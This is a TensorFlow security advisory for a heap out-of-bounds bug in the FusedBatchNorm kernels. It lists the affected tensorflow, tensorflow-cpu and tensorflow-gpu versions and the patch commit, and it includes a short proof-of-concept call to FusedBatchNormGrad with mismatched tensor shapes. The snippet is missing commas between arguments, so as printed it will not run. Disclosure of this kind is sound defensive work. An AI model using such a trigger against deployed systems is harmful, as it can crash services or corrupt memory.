GHSA-f54p-f6jp-4rhr Heap OOB in `FusedBatchNorm` kernels

• PyPI tensorflow: >= 2.6.0, < 2.6.1 → fixed in 2.6.1 • PyPI tensorflow: >= 2.5.0, < 2.5.2 → fixed in 2.5.2 • PyPI tensorflow: < 2.4.4 → fixed in 2.4.4 • PyPI tensorflow-cpu: >= 2.6.0, < 2.6.1 → fixed in 2.6.1 • PyPI tensorflow-cpu: >= 2.5.0, < 2.5.2 → fixed in 2.5.2 • PyPI tensorflow-cpu: < 2.4.4 → fixed in 2.4.4 • PyPI tensorflow-gpu: >= 2.6.0, < 2.6.1 → fixed in 2.6.1 • PyPI tensorflow-gpu: >= 2.5.0, < 2.5.2 → fixed in 2.5.2 • PyPI tensorflow-gpu: < 2.4.4 → fixed in 2.4.4

Impact The implementation of `FusedBatchNorm` kernels is vulnerable to a heap OOB: ```python import tensorflow as tf tf.raw_ops.FusedBatchNormGrad( y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32) x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32) scale=[1,1], reserve_space_1=[1,1], reserve_space_2=[1,1,1], epsilon=1.0, data_format='NCHW', is_training=True) ``` Patches We have patched the issue in GitHub commit aab9998916c2ffbd8f0592059fad352622f89cda. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.